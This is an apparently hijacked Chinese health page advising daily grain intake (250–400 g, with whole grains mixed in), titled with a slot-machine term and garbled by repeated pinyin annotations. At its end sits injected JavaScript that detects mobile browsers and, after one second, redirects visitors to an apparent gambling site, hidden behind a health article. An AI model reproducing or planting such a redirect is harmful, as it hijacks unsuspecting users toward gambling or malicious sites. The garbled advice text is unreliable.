ag8老虎机

合理饮食(2)每天保证足量的谷类摄入 粗细搭配

  日期:2014-04-09   点击:8651

每天保证足量的谷类摄入 粗细搭配

科学依据:

谷类食(shi)物(wu)(wu)(wu)是中国传统膳食(shi)的(de)主体,是最(zui)(zui)好的(de)基(ji)础食(shi)物(wu)(wu)(wu),也是最(zui)(zui)便宜的(de)能(neng)源。以植(zhi)物(wu)(wu)(wu)性食(shi)物(wu)(wu)(wu)为主的(de)膳食(shi)可以预防心(xin)脑(nao)血(xue)管疾病(bing)、糖尿(niao)病(bing)和癌症。

健康行为:

(1)保持(chi)每天适量的谷类食物(wu)摄入,一(yi)般(ban)成年人每天摄入250克~400克为宜。

(2)经(jing)常吃一些粗粮、杂粮和全谷类食物(wu),每天最好(hao)能吃50克(ke)~100克(ke)。

(3)少选择研磨得(de)太精的稻米(mi)和(he)小(xiao)麦。

(4)合理搭配不同种类的食物。

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();